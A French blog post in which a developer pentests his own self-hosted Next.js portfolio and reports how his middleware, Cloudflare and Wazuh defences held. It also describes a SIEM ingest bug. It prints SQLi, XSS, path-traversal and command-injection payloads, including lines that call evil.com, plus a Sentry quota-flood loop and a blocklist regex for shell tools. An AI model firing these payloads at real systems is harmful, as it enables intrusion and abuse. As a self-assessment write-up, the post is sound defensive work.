J'ai pentest mon propre portfolio : retours, angles morts, et un bug qui m'a piégé
Retour d'expérience après quelques heures de red team sur mon propre site Next.js self-hosted. Ce que mes défenses ont attrapé, ce que j'ai loupé, et un bug d'alerting que j'ai découvert au passage. Curieux de comparer avec votre stack.

Le contexte
J'ai déjà écrit un post sur comment je sécurise ce portfolio en défense en profondeur, et un autre sur le mini-SOC Wazuh qui ingère les events. Le côté défenseur, je l'avais documenté. Manquait le côté attaquant.
J'ai donc passé une après-midi à pentest mon propre site, méthodiquement. Règle du jeu : je connais l'archi générale parce que c'est moi qui l'ai écrite, mais j'attaque from scratch. Pas de credentials internes, pas de bypass SSH, pas de tricherie. Comme si quelqu'un de motivé tombait sur dubus.pro et décidait que ce serait un trophée drôle.
L'idée n'est pas de prouver que le site est imprenable (aucun ne l'est, c'est juste une question de coût attaquant vs valeur cible). L'idée est de rentrer dans la peau du red teamer pendant quelques heures et de voir où mes défenses tiennent, où elles se laissent surprendre, et surtout ce que je n'avais pas vu venir avant de me l'auto-tester. Au passage j'ai découvert un bug d'alerting bien embêtant que je raconte plus bas.
Le périmètre
Cible : dubus.pro et ses subdomains apparents. Hors périmètre : mon compte GitHub, mon compte Cloudflare, mes serveurs Hetzner et Proxmox accessibles uniquement en interne, social engineering. C'est un pentest applicatif, pas une red team org-wide.
Tools utilisés : navigateur (Burp Community en proxy), curl, ffuf, gobuster, nmap, amass, subfinder, dig, openssl, le browser DevTools, le mode anonyme Tor pour rotate l'IP, plus quelques scripts Python custom.
Étape 1 : recon passif (zéro paquet vers la cible)
Le but ici est de glaner un max d'info sans toucher la cible. Tout ce qui suit ne génère aucun log côté dubus.pro.
WHOIS et DNS
$ whois dubus.pro
$ dig dubus.pro ANY
$ dig +trace dubus.pro
WHOIS donne le registrar et la date de création. Les NS pointent vers Cloudflare (*.ns.cloudflare.com). À ce stade je sais déjà que je vais avoir affaire à un setup CF, ce qui élimine 80% des techniques classiques : pas d'IP origin trouvable directement, edge filtering en amont, certif TLS managé.
dig +trace confirme : A et AAAA pointent vers les IPs Cloudflare anycast. Aucune fuite. Pas de SPF/DMARC custom qui révèle un mail server interne.
Certificate Transparency
$ curl -s 'https://crt.sh/?q=%25.dubus.pro&output=json' | jq -r '.[].name_value' | sort -u
Là je découvre quelques subdomains historiques. Rien d'utilisable, mais je note les noms pour la phase active.
Vue crt.sh : le Certificate Transparency log expose l'historique TLS du domaine sur ~9 mois. Multiples CAs (Google, Let's Encrypt, Sectigo) = rotation Cloudflare typique. Le wildcard
*.dubus.proconfirme un setup CF wildcard. Le subdomainv.dubus.pro(visible dans une ligne) est un résidu sous-domain à creuser plus tard. Tout ça en zéro paquet vers la cible. C'est ça la beauté des CT logs : impossible à éviter dès qu'un cert est émis, et public par construction.
GitHub public
Le repo breaching/my-portfolio est référencé en signature dans le post defense in depth. Je clone :
$ git clone https://github.com/breaching/my-portfolio
$ git log --all --oneline | wc -l
$ git grep -i 'secret\|key\|token\|password' -- '*.ts' '*.tsx' '*.json' '*.md'
Aucun secret commit (gitleaks clean, vérifié plus tard avec gitleaks detect -v). Par contre, je récupère gratuitement :
- L'intégralité du middleware
proxy.tsavec la liste exacte des honeypots, les regex de blocage, les seuils de rate limit - La logique du formulaire de contact (champ honeypot caché, sanitization, validation)
- La CSP exacte dans
next.config.ts - Les dépendances dans
package.jsonavec leurs versions
C'est une info disclosure massive, mais c'est by-design : le repo est public exprès, pour servir de showcase. Ce qui change, c'est ma stratégie : au lieu d'attaquer à l'aveugle, je peux maintenant cibler précisément les regex en regardant si elles sont bypassables. C'est asymétrique, j'aime.
Sentry DSN et tokens publics
Je load la home en mode anonyme, j'ouvre les DevTools, network tab, je grep les bundles JS :
public_dsn:"https://[org_id]@[hash].ingest.de.sentry.io/[project_id]"
posthog: "phc_[hash]"
formspree: "https://formspree.io/f/[form_id]"
Trois clés publiques visibles. Question naturelle : exploitables ?
- Sentry DSN : c'est une clé publique de submission, exposable by-design. Maximum dégât = pollution du quota d'erreurs en spammant des fake events. Ennuyeux, pas critique. À noter pour plus tard.
- PostHog public token : pareil, capture-side public. Spammable, mais le projet est dormant (
tracking inactif, voir mon parcours côté analytics). Pas critique. - Formspree form ID : si j'arrive à appeler directement le endpoint Formspree en bypassant la sanitization du frontend, je peux essayer du spam. Mais Formspree a son propre rate limit côté SaaS. À tester.
Wayback Machine
$ curl 'http://web.archive.org/cdx/search/cdx?url=dubus.pro/*&output=json&fl=original' | jq -r '.[1:] | .[] | .[]' | sort -u
Je trouve quelques URLs anciennes (ancien Vercel deploy). Rien d'exploitable mais ça confirme que le site a vécu sur Vercel avant d'être migré self-hosted en mai 2026 (cf le post sur la migration depuis Vercel).
LinkedIn / OSINT humain
Pas mon focus ici (hors périmètre), mais je note que le nom du dev est trivialement trouvable. Si je voulais faire du spear phishing ce serait l'angle, mais on reste sur l'applicatif.
Bilan recon passif : zéro log généré côté cible, j'ai une carte complète de la stack et des défenses. C'est le seul moment du pentest où je suis encore invisible.
Étape 2 : recon actif (les premières alertes Telegram tombent)
Maintenant je commence à toucher la cible. Chaque requête est tracée par CF logs + middleware proxy.ts + Wazuh agent local côté serveur. Je sais que ça va se voir, je veux juste mesurer à quelle vitesse.
Fingerprinting headers
$ curl -sI https://dubus.pro/ -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120'
Je spoof un UA Chrome parce que curl brut est dans la blocklist (isSuspiciousUserAgent rejette tout ce qui contient "curl"). Avec un UA légitime, je passe.
Réponse : HTTP/2 200, et la liste des security headers :
strict-transport-security: max-age=63072000; includeSubDomains; preload
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
referrer-policy: strict-origin-when-cross-origin
content-security-policy: default-src 'none'; script-src 'self' 'unsafe-inline' ...
permissions-policy: camera=(), microphone=(), geolocation=()...
cross-origin-opener-policy: same-origin
cross-origin-resource-policy: same-origin
Le X-Powered-By est absent (option poweredByHeader: false dans next.config.ts). Aucun header Server: custom autre que cloudflare. Hardening propre. CSP en default-src 'none' me bloque toutes les techniques d'injection JS via balises rares (<object>, <embed>, etc.) même si je trouvais une injection.
Le seul truc qui me reste à mâcher côté CSP : script-src 'unsafe-inline'. Donc si je trouve une vraie injection HTML, je peux théoriquement balancer du JS inline. Sauf que toutes mes tentatives d'injection sont sanitized à la source. Boucle fermée.
Pour confirmer en externe, un scan public de securityheaders.com donne Grade A. Les 6 headers attendus sont là, le seul warning vient effectivement du
'unsafe-inline'que je viens de noter. Au moins le rapport publique est cohérent avec ce que j'observe en curl.
Nmap / port scan
$ nmap -p- --min-rate 1000 dubus.pro
Tout ce qui répond, c'est 80 et 443 sur les IPs CF. Logique : l'origine derrière Cloudflare Tunnel n'a aucun port ouvert sur Internet, le tunnel établit une connexion sortante vers le edge CF, pas l'inverse. C'est l'avantage principal de CF Tunnel face à un reverse proxy classique exposé. Je n'ai juste aucune surface réseau à attaquer.
Côté CF eux-mêmes, attaquer leur edge est hors périmètre (et perdu d'avance).
Subdomain enumeration
$ subfinder -d dubus.pro -all -silent
$ amass enum -passive -d dubus.pro
$ ffuf -u https://FUZZ.dubus.pro/ -w wordlist-subdomains-top10000.txt -mc 200,301,302,403
Sur dubus.pro directement, rien d'attractif. Mais le dev mentionne dans son post homelab le domaine adjacent didoulab.com. Je tente le même fuzz dessus :
vpn.didoulab.com,git.didoulab.com,admin.didoulab.com,backup.didoulab.com,mail.didoulab.com,api.didoulab.com,internal.didoulab.com,staging.didoulab.com,prod-db.didoulab.comrésolvent tous vers des records. Ça sent le bait, mais depuis l'extérieur je n'ai aucun moyen de le confirmer sans toucher.
Je le saurai plus tard en lisant le post mini-soc-homelab du même dev : ce sont des CanaryTokens DNS. Chaque résolution fire un email au défenseur avec mon IP. À la seconde où ffuf a tenté backup.didoulab.com, un mail est parti.
Verdict côté pentester : j'ai mordu dans un piège classique. Les subdomains "attractifs" (admin/backup/staging/prod-db) qui résolvent vers du CNAME externe non-CF, c'est un drapeau rouge. J'aurais dû d'abord dig CNAME backup.didoulab.com et voir le .canarytokens.com à la cible. Note pour la prochaine.
Update mai 2026 : depuis cet exercice, le dev a retiré la majorité de ces canaries DNS. Sur un domaine homelab visible internet, le ratio noise/signal est défavorable (Shodan, Censys, Project Sonar, Google Bot trippent en permanence des subdomains "classiques"). Les canaries restent pertinents sur des cibles hyper-spécifiques (post-compromise traps), pas sur des subdomains génériques.
Web fingerprinting
$ whatweb https://dubus.pro/ --user-agent 'Mozilla/5.0...'
$ wappalyzer (via DevTools)
Identifie Next.js, Cloudflare. Le HTML servi est statique pour la home (SSG ou ISR à l'arrache), donc je peux lire le bundle pour confirmer les libs : React 19, Framer Motion, Phosphor Icons, PostHog SDK, Sentry. Tout est à jour, dépendances majeures récentes.
$ npm audit # contre le package.json clone GitHub
Lockfile clean, pas de CVE haute critique sur les dépendances directes. Quelques low/medium sur des dépendances transitives, rien d'exploitable depuis l'extérieur sans condition (Server-side issue qui ne touche pas le bundle client).
Bilan recon actif : à ce stade, j'estime avoir déjà déclenché 3 alertes Telegram (subdomain CanaryToken fired, premiers 404 sur les fuzz subdomain, et probablement un burst de 401/403). Le défenseur sait maintenant qu'on s'intéresse à lui, et a une IP source à blacklister si besoin.
Étape 3 : OWASP Top 10 sur la surface applicative
La cible visible : un site Next.js statique avec des pages publiques (/, /parcours, /blog, /blog/[slug], /contact, des landing pages SEO /creation-site-*, /demos), un formulaire contact qui pipe vers Formspree, et c'est tout. Pas d'API custom routée par moi, pas de cookie session, pas d'admin, pas d'upload, pas de DB.
Je parcours quand même la checklist OWASP, méthodique.
A01 - Broken Access Control
Pas de route protégée à casser, il n'y a juste pas d'auth. Skip.
A02 - Cryptographic Failures
TLS 1.3, HSTS preload, géré par CF. Pas de stockage de secret côté client. Skip.
A03 - Injection
C'est le terrain de jeu principal. Je teste systématiquement.
SQL Injection sur tous les query params possibles :
GET /blog?q=' OR '1'='1
GET /blog/test'%20UNION%20SELECT%20null--
GET /?id=1;DROP%20TABLE%20users--
Réponse : 400 Bad Request instantané pour chacun. La regex SUSPICIOUS_PATTERNS du middleware match avant que la requête atteigne l'app. Et de toute façon, le site n'a pas de DB derrière les pages publiques (tout est build-time statique ou Markdown filesystem). Même sans le filter, il n'y a rien à injecter.
XSS reflected / stored :
GET /blog/<script>alert(1)</script>
GET /?q=javascript:alert(1)
GET /?x=<svg onload=alert(1)>
Réponse : 400 Bad Request. La regex /<script[\s>]/i et /<svg[\s>].*on/i catchent tout. Côté React, même si une payload passait, JSX échappe par défaut donc il faudrait que le code utilise dangerouslySetInnerHTML quelque part avec du contenu user. Je grep dans le clone GitHub :
$ git grep dangerouslySetInnerHTML
Quelques résultats, mais tous appliqués sur du contenu Markdown trusted (les posts de blog dont le seul auteur, c'est lui). Pas de vector user-supplied.
XSS sur le formulaire contact :
Je load la page /contact, j'ouvre les DevTools, j'inspecte le DOM du form. Je vois le champ honeypot caché :
<input type="text" name="website" tabindex="-1" autocomplete="off"
style="position:absolute;left:-9999px" />
Style off-screen + tabindex -1 + autocomplete off, c'est le pattern classique. Comme attaquant qui inspecte le DOM, je peux trivialement le contourner en submit en JavaScript direct sans toucher ce champ. Sauf que côté validation, le code regarde if (honeypot). Si je submit avec ce champ vide, je passe. Donc le honeypot ne piège que les bots aveugles qui remplissent tout. Un attaquant humain ou un bot moderne le contourne.
OK, donc je submit le form avec une payload XSS dans le message :
POST /contact (en réalité Formspree)
message: <img src=x onerror=alert(1)>
Côté frontend, la validation hasMaliciousContent() catch et renvoie une erreur :
Contenu non autorisé détecté dans message
Je peux contourner en appelant directement Formspree depuis curl (le form ID est dans le bundle), ce qui skip toute la validation frontend. Sauf que Formspree me délivre par email côté SaaS, donc le payload n'est jamais "stored" dans une app web qui le renvoie. Au pire, le dev reçoit un email avec du HTML que son client mail rend ou pas. Maximum dégât : si son client mail rend le HTML et exécute du JS (Gmail web ne fait pas ça, Outlook non plus en strict mode), il pourrait voir une alert. C'est vintage 2008.
Path Traversal :
GET /../../etc/passwd
GET /blog/../../../etc/passwd
GET /%2e%2e/%2e%2e/etc/passwd
GET /blog/%252e%252e%252fetc%252fpasswd (double URL encode)
Réponse : 400 Bad Request pour les versions simples. La regex SUSPICIOUS_PATTERNS catch .. et les variants %2e%2e%2f. Sur le double encoding %252e%252e%252f, c'est plus intéressant : le middleware fait un decodeURIComponent une seule fois, donc %25 reste %25 après decode, et le payload final côté Node devient %2e%2e%2f qui n'est jamais réinterprété comme ../. C'est neutralisé.
Bonus : Next.js lui-même refuse les requêtes avec .. dans le pathname (URL parsing standard). Donc même si le middleware était permissif, le routeur Next normalise.
Command Injection :
GET /?x=;cat%20/etc/passwd
GET /?x=|wget%20http://evil.com/shell
GET /?x=$(curl%20evil.com)
Réponse : 400 Bad Request. La regex /;\s*(ls|cat|rm|wget|curl|bash|sh)/i catch. Pas de surprise.
A04 - Insecure Design
Le design est volontairement minimal : statique + Formspree + aucun stockage user. Pas de feature à exploiter, c'est l'absence de surface comme défense.
A05 - Security Misconfiguration
Les headers sont nickel (testés section précédente). Pas de stack trace exposée : je test avec des paths random, j'ai un 404 propre Next.js, pas d'info de version. Pas de directory listing (Next sert pas de static index). /.git/HEAD, /.env, /admin, tout est dans la honeypot list et renvoie 404 Not Found au premier hit, puis 403 Forbidden au 3e consécutif (le middleware ayant banni l'IP pour 15 minutes, plus un HONEYPOT_TRIGGERED côté Wazuh et Telegram dans la foulée).
Test débile mais classique : je tente d'accéder à /_next/static/... et les internals Next. Tout sert correctement les assets, pas de fuite de manifest interne.
A06 - Vulnerable and Outdated Components
npm audit clean, pas de CVE haute exploitable sur les versions de Next.js 16.2.1, React 19.2.3, Sentry 10.51.0. Si une CVE critique sortait demain sur Next.js, ça pourrait changer, mais c'est un risque temporel, pas une vulnérabilité actuelle.
C'est ce qui se passe au build time côté app. Mais ce que je n'ai pas, en tant qu'attaquant black-box, c'est la vue runtime / fleet-wide côté défenseur. Côté Wazuh Vulnerability Detection, le défenseur voit ça :
Vue défenseur côté Wazuh Vulnerability Detection (fleet-wide, 24h) : 123 Critical, 1734 High, 2501 Medium. Le top concerne le kernel Ubuntu 24.04 (
linux-image-6.8.0-106-genericet-111-generic) sur l'agentcoolifyqui héberge ce portfolio. Conclusion concrète : même sinpm auditest clean côté app, le kernel hôte garde des CVEs critiques tant qu'Ubuntu ne sort pas un patched kernel. Ce n'est pas un risque exploitable depuis l'extérieur (CVE locales pour la plupart), mais c'est le genre de visibilité qu'un dev solo n'aurait pas sans Wazuh continuellement actif.
A07 - Identification and Authentication Failures
Pas d'auth, pas de failure possible. Skip.
A08 - Software and Data Integrity Failures
Pas de mise à jour over-the-air, pas de plugin marketplace. Skip.
A09 - Security Logging and Monitoring Failures
Inverse du problème : je suis le logué, pas le bug.
A10 - SSRF
Pas d'endpoint qui prend une URL en paramètre et la fetch côté serveur. Le seul truc qui ressemble, c'est le rewrite /ingest/* vers PostHog dans next.config.ts, mais c'est une whitelist statique de destinations, pas un fetch dynamique d'URL user. Pas de SSRF.
Bilan OWASP : 0 vulnérabilité exploitable trouvée en 90 minutes sur cette surface. Toutes les classes d'injection renvoient 400, les routes sensibles renvoient 404, la sanitization frontend peut être contournée mais l'absence de stockage rend l'XSS inerte, et l'absence d'auth rend toutes les classes A01/A07 sans objet. Ça ne veut pas dire que tout est étanche : ça veut dire qu'avec une surface aussi réduite (statique + Formspree + Cloudflare Tunnel + zéro admin), l'OWASP Top 10 perd la majeure partie de sa pertinence. Le vrai test commence quand on ajoute une fonctionnalité dynamique.
Étape 4 : bypass tentés
À ce stade, frustration normale de pentester. Je vais essayer de plier les défenses elles-mêmes plutôt que de chercher de nouvelles vulns. C'est là que je découvre des limites intéressantes côté défenseur, sans forcément les exploiter.
Rate limit fixed window
Le rate limit est de 100 req/min par IP, en Map in-memory, fenêtre fixe (resetTime = now + 60s). Faille théorique classique : à la frontière de deux fenêtres, je peux burst 100 req à t=59s puis 100 req à t=60s, soit 200 req en 2 secondes au lieu de 100/min.
$ for i in {1..100}; do curl -s -o /dev/null -H 'UA-spoof' https://dubus.pro/?p=$i & done; sleep 1; for i in {1..100}; do curl -s -o /dev/null -H 'UA-spoof' https://dubus.pro/?p=$i & done
Effet pratique : un attaquant qui veut DDoS ce serait inefficace contre Cloudflare en amont (CF a son propre rate limit, son WAF, son challenge L7). Et pour une attaque ciblée, 200 req/min ce n'est pas une réelle amélioration sur 100. Le sliding window aurait été plus propre algorithmiquement, mais l'impact réel ici est nul.
Rate limit reset au restart du process
PM2 redémarre le process Node régulièrement (à chaque deploy via Coolify, ou si OOM kill, etc.). La Map in-memory se reset, donc une IP bannie 15 min peut se débanner si on tombe sur un redeploy. Comme attaquant, je n'ai aucun moyen de provoquer un redeploy. Comme défenseur, c'est limite acceptable parce que les attaques persistantes sont déjà coupées en amont par CF + par les seuils Wazuh.
IP rotation via Tor
$ torify curl -H 'UA-spoof' https://dubus.pro/wp-admin
Chaque requête sort par un exit node différent, donc bypass du ban IP middleware. Sauf que :
- La plupart des exit nodes Tor sont déjà flagged par Cloudflare. Je me prends un challenge JS / CAPTCHA avant même d'atteindre l'origine.
- Si je passe quand même (Tor over CF Warp, etc.), chaque
/wp-adminhit déclenche unHONEYPOT_TRIGGEREDcôté middleware avec une IP différente, donc le ban 15-min ne fait rien, mais le Wazuh aggregate rule (Traefik path scan 100200 + burst rule) corrèle sur le pattern, pas sur l'IP. La rule fire pareil. Le dev reçoit un alert Telegram, et il peut activer un CF firewall rule globale (Tor block) à la main.
Donc le bypass technique du middleware existe, mais l'observabilité reste fonctionnelle. C'est la promesse de defense in depth.
User-Agent spoof
Trivial, j'ai déjà spoofé Chrome depuis le début. Le filter UA n'arrête que les scanners qui ne se cachent pas. Limite réelle de cette protection : c'est un filter à très faible coût qui élimine le bruit le moins effort (bots opportunistes, scripts kiddie). Aucune ambition au-delà.
Honeypot champ form contact
Déjà traité plus haut. Bypass trivial pour un attaquant humain (skip le champ). Mais l'intérêt c'est de filtrer les bots aveugles, et ça marche pour ça. La détection des humains malveillants se fait en aval (validation contenu + rate limit Formspree).
Double URL encoding sur les regex
Tenté, neutralisé (cf. section A03). Le middleware décode une fois, donc le double encoding survit en %XX brut côté Node, et n'est pas réinterprété par les regex. La payload ne fonctionne ni comme path traversal ni comme XSS. Bon comportement.
Header injection / smuggling
$ curl -H 'X-Forwarded-For: 1.2.3.4' https://dubus.pro/
$ curl -H 'X-Real-IP: 1.2.3.4' https://dubus.pro/
Le middleware extrait l'IP via x-forwarded-for -> x-real-ip -> cf-connecting-ip. Cloudflare réécrit x-forwarded-for côté edge avant de forward vers l'origine, donc si j'inject mon propre X-Forwarded-For: spoofed, ça se fait écraser. Le seul header de confiance c'est cf-connecting-ip (signé en pratique par le tunnel). Bon ordre de priorité.
Petit caveat : si quelqu'un déployait ce middleware sans Cloudflare devant (par exemple en local en dev exposé), x-forwarded-for deviendrait trivialement spoofable et les bans IP seraient contournables. Mais c'est un cas hors prod. Note dans le coin.
Spam Formspree direct
Je tente :
$ curl -X POST https://formspree.io/f/[form_id] -d 'message=spam' -H 'Content-Type: application/x-www-form-urlencoded'
Formspree a son propre rate limit côté SaaS, plus un système anti-spam. Au bout de quelques POST, je suis blacklist côté formspree.io. Donc je peux faire spam X messages avant que ça soit cap, ce qui peut polluer la boîte du dev. Mais Formspree marque ces messages comme spam, et ils arrivent dans un dossier dédié plutôt que dans l'inbox principale. Impact réel : faible.
Cache poisoning via Cloudflare
$ curl -H 'X-Forwarded-Host: evil.com' https://dubus.pro/
CF normalise les headers, et le site ne renvoie pas de contenu qui dépend du Host ou de headers user-controllés autres que le canonical. Pas de surface.
Sentry quota poisoning
Avec le DSN public, je peux théoriquement envoyer un volume d'événements pour griller le quota Sentry du dev :
$ for i in {1..100000}; do curl -X POST https://[hash].ingest.de.sentry.io/api/[project]/store/ -H 'X-Sentry-Auth: ...' -d '...' & done
C'est faisable, mais : (1) Sentry a un rate limit per-DSN côté serveur, (2) le dev a probablement configuré un sample rate côté SDK (tracesSampleRate typiquement à 0.1 voire moins), (3) ça déclencherait des alerts Sentry dépassement quota qui informeraient le dev en temps réel. Effort élevé pour un dégât réel limité (account suspension temporaire au pire).
CSP bypass
Tenté plus haut, neutralisé par default-src 'none'. Le seul résidu c'est script-src 'unsafe-inline' mais sans injection HTML user-controllée en amont, je ne peux pas exploiter ça. Mort en arrivée.
Bilan bypass : 0 défense plié de manière critique. 2 limites théoriques notées (rate limit fixed window pas idéal, honeypot form contourné par humains) mais l'impact réel reste cap par les couches en amont (CF, Formspree, Wazuh aggregate rules).
Étape 5 : ce qui m'a piégé (vue du défenseur, reconstituée)
Petit aveu honnête avant de balancer le panel impressionnant : le jour du pentest, mon SIEM ne voyait absolument rien. Pas par malchance, par bug.
J'avais fait un changement réseau sur le LXC qui héberge Wazuh quelques jours avant : l'indexer OpenSearch s'est rebind LAN-only au lieu de 0.0.0.0. Filebeat (sur le manager) continuait à tenter 127.0.0.1:9200 parce qu'il n'avait pas été reconfiguré, donc il n'arrivait plus à ship la moindre alerte. Aucun log d'erreur visible parce que filebeat retry silencieusement et garde son cursor, aucun warning Telegram parce que mon alerting Telegram pour Wazuh n'était pas encore wiré côté custom-integration à ce moment-là (je tournais sur les alerts mail seulement).
Conclusion : 5 jours d'angle mort total, dont les 3 heures de pentest. Je l'ai découvert le surlendemain en cross-checkant le dashboard Wazuh à la recherche du burst attendu : 0 events. Indexer cluster green, manager up, dashboard responsive, et pourtant zéro hit. Pareil pour Cowrie qui logue côté file mais dont les events n'étaient pas ingérés non plus.
Le fix a tenu sur une ligne :
# /etc/wazuh-indexer/opensearch.yml
network.host: ["127.0.0.1", "192.168.68.221"]
Dual binding loopback + LAN, filebeat reprend son boulot, ingest revient instantanément.
La vraie leçon du pentest, je ne l'ai pas apprise en tant qu'attaquant. Je l'ai apprise en tant que défenseur : un système d'alerting qui ne fait pas de bruit n'est pas la preuve qu'il n'y a rien à raconter, c'est peut-être juste qu'il ne fonctionne plus. Depuis, j'ai ajouté un dead-man switch externe (un cron 5 min vers Healthchecks.io sur PVE + LXC 119 + LXC 122) qui m'envoie un mail si le ping ne tombe pas dans la fenêtre. Le notifier a besoin de son propre notifier. Ça paraît évident une fois qu'on s'est fait avoir.
Avec ce contexte, voici ce que j'ai pu reconstituer a posteriori. Filebeat ayant gardé son cursor sur le journald du manager, une fois le fix appliqué les events plus récents que la rétention ont rattrapé leur retard et sont remontés dans l'indexer. Pour le reste, j'ai recoupé avec les logs Cowrie et Traefik conservés côté file.
| Heure | Source de l'event | Rule Wazuh | Notif Telegram ? |
|---|---|---|---|
| T+0 (recon passif) | Aucun event | - | Non, je n'ai rien touché |
| T+12min (ffuf subdomain) | CanaryToken backup.didoulab.com | (CanaryTokens email, pas Wazuh) | Email reçu avec mon IP |
| T+15min (ffuf burst 404) | Traefik 404 burst (100205) | L10, burst 20+/60s | Oui |
| T+22min (curl /wp-admin) | Traefik path scan (100200) | L11 | Oui |
| T+24min (3e honeypot path) | IP_BLOCKED middleware + 100200 | L11 + middleware ban 15min | Oui |
| T+30min (POST /contact payload XSS) | Middleware SUSPICIOUS_REQUEST | L? (selon rule custom) | Probablement oui |
| T+45min (Tor exit nodes scan) | Path scan + brute force web rule | L11 burst | Oui (plusieurs, dédupliqués ?) |
Sans le bug ingest, ça aurait fait 6 à 11 messages Telegram en moins d'une heure plus 1 email CanaryToken. Téléphone qui vibre en continu, dashboard Wazuh qui voit l'attaque structurée se construire en temps réel avec ses rule MITRE T1595.001 (recon active) et T1110.001 (brute force). Avec le bug, ça a fait : 1 email CanaryToken (parce que c'est SaaS externe, indépendant de mon ingest), et c'est tout. J'ai trouvé le reste en post-mortem.
Du coup voici ce que ça donne aujourd'hui (après fix indexer + ajout du watchdog), côté défenseur, en deux niveaux.
D'abord la vue agrégée 24h dans Threat Hunting :
Les techniques
Password Guessing,Brute Force,Wordlist ScanningetSSHapparaissent direct dans le top 10 MITRE donut. C'est la signature pentest standard : n'importe quel SOC analyst lit ce donut en 2 secondes et sait que quelqu'un a probé la stack. Le0 Level 12+confirme par ailleurs qu'aucune escalade critique n'a fini par passer côté origine.
Puis la lecture framework via le module MITRE ATT&CK (la vue est en hero d'article) : 8 tactics actives, ventilation par agent (pve, wazuh, traefik, frigate, honeypot), techniques mappées (T1078 Valid Accounts, T1021 Remote Services, T1110 Brute Force...). Concrètement, un cybersec hunter peut prendre n'importe quelle ligne du donut et la rentrer en query Wazuh pour drill jusqu'au log brut. C'est cette structure framework-first qui rend les events réutilisables hors de la session d'investigation initiale.
Côté attaquant, je ne sais pas que ça vibre côté défenseur. Mais à un moment, mon IP source initiale (avant rotation Tor) est blacklistée côté CF Firewall manuellement par le dev. Toutes mes futures requêtes depuis ma vraie IP recoivent un 1020 Cloudflare. Game over sur cette IP.
Bilan brut du pentest
| Catégorie | Tentatives | Succès |
|---|---|---|
| Recon passif | WHOIS, DNS, CT, GitHub, Wayback, OSINT | Full visibility de la stack, 0 secret leaked |
| Port scan | nmap full range | 0 port origin accessible (CF Tunnel) |
| Subdomain enum | subfinder, amass, ffuf | Subdomains trouvés mais tous CanaryTokens |
| SQLi / XSS / Path Trav / CmdInj | OWASP A03 complet | 0 payload passe, regex + sanitization solides |
| Honeypot bypass | Champ form caché | Contourné en JS direct, mais 0 dégât (Formspree downstream) |
| Auth bypass | A07 | Pas d'auth, donc rien à casser |
| Rate limit bypass | Fixed window race, IP rotation | Bypass technique mais détection au-dessus tient |
| CSP bypass | default-src 'none' | Inerte sans injection en amont |
| Supply chain | npm audit, dependency CVE | 0 CVE haute exploitable |
| Detection evasion | UA spoof, Tor rotation | UA filter contourné, mais Wazuh aggregate rules corrélent quand même |
| Info disclosure | Sentry DSN, PostHog token, Formspree ID | Tous publics by-design, faible impact |
Score offensif sur cette surface : 0 vulnérabilité exploitable trouvée. Ce n'est pas un score à brandir, c'est plutôt le reflet d'une architecture qui réduit volontairement la surface (et non d'un système blindé).
Score défensif (involontaire) : ~10 alertes Telegram + 1 mail CanaryToken + 1 ban CF manuel, en imaginant que l'ingest Wazuh fonctionnait (voir l'aveu plus bas).
Limites de cet exercice
C'est un pentest applicatif black box sur la surface web, dans une fenêtre de quelques heures. Beaucoup de choses n'ont pas été testées :
- Physique : je n'ai pas tenté d'aller chez le dev poser une Rubber Ducky sur son laptop.
- Social engineering : pas de phishing du dev, pas d'OSINT humain poussé, pas d'usurpation d'identité sur les services tiers.
- Compromission Cloudflare / GitHub / Coolify : ces comptes externes hébergent la racine de confiance. Si je trouvais un moyen de prendre l'un d'eux, tout tombe. Hors périmètre.
- Insider : si l'attaquant est admin sur la machine PVE, tout est trivial. Pas le scénario testé.
- Long-running APT : un attaquant qui prend 6 mois à étudier la cible, trouver une 0-day Next.js, et l'exploiter de manière chirurgicale, c'est autre chose. Je n'ai pas testé ce scénario, et honnêtement je ne pourrais pas seul. C'est le rôle des bug bounty et des audits formels.
- DDoS : volumétriquement, c'est CF qui prend. Pas d'intérêt à tester.
Donc ce pentest dit "la surface applicative tient les attaques courantes". Il ne dit pas "le système est imprenable". Aucun système ne l'est, ce qui compte c'est le rapport effort / valeur pour l'attaquant. Pour un portfolio perso, ce rapport est défavorable très tôt : peu de valeur à voler, beaucoup d'effort à fournir, défense + détection actives.
Ce que j'ai appris en m'attaquant moi-même
-
L'asymétrie d'info change tout en faveur de l'attaquant. Le repo GitHub public donne la map exacte des défenses. Ça reste un choix conscient pour la valeur de showcase, mais il faut bien comprendre que ça transforme le pentest en exercice d'optimisation des bypass connus, plutôt que de découverte. Un repo privé forcerait plus de tâtonnement et générerait plus de bruit côté défense, donc plus de chances de griller l'attaquant tôt.
-
La défense en profondeur paie surtout en détection, pas en blocage. Mes bypass techniques sur le rate limit ou le honeypot form fonctionnent. Mais à chaque tentative, je laisse une trace, et le pattern d'attaque corrélé par Wazuh aggregate rules me grille bien avant que j'ai pu causer de dégât. La rule "20 404 en 60s depuis la même IP" est techniquement triviale, mais elle est imbattable côté discrétion attaquant.
-
Les CanaryTokens DNS sont une couche à double tranchant. Coût : 0€ (service gratuit Thinkst) + 5 minutes de CNAME setup. Valeur : email instantané avec IP de tout scanner qui enum les subdomains attractifs. Le piège : sur un domaine internet-facing avec un nom "carré" (
*.tld), les crawlers Shodan/Censys/Project Sonar/Googlebot trippent ces subdomains en permanence. Le signal/bruit devient défavorable au bout de quelques semaines, et tu te retrouves à muter les notifs canary. Pertinent quand la cible est un fichier ou une URL réelle "post-compromise" (clé AWS factice dans un backup, Word doc piégé sur un share), beaucoup moins sur des subdomains génériques. Choix de design plutôt que ROI absolu. -
L'absence de surface est plus puissante qu'un mur épais. La meilleure défense contre SQLi, c'est pas de DB exposée. Contre XSS stored, pas de stockage. Contre l'auth bypass, pas d'auth. Ce portfolio l'illustre : statique + Formspree, et 80% de l'OWASP Top 10 devient inapplicable par design.
-
Le UA filter et les regex SUSPICIOUS_PATTERNS sont du low-hanging fruit, mais utiles. Ils éliminent 95% du bruit (bots opportunistes, kiddie scripts) avec une complexité de 50 lignes. Le reste passe à travers, mais le reste est déjà l'attaquant motivé, donc les couches suivantes prennent le relais. Stratégie multi-couche correcte : chaque layer fait son boulot sur sa population cible.
-
Le bypass du rate limit in-memory PM2 + CF est théorique, pas pratique. Sur le papier, la
Mapreset au restart et la fenêtre fixe burst à la frontière. En pratique, CF rate limit en amont, Wazuh corrélation en aval, et l'attaquant qui exploite ces failles est déjà détecté plusieurs fois. La perfection algorithmique du rate limiter ne change rien au résultat final. -
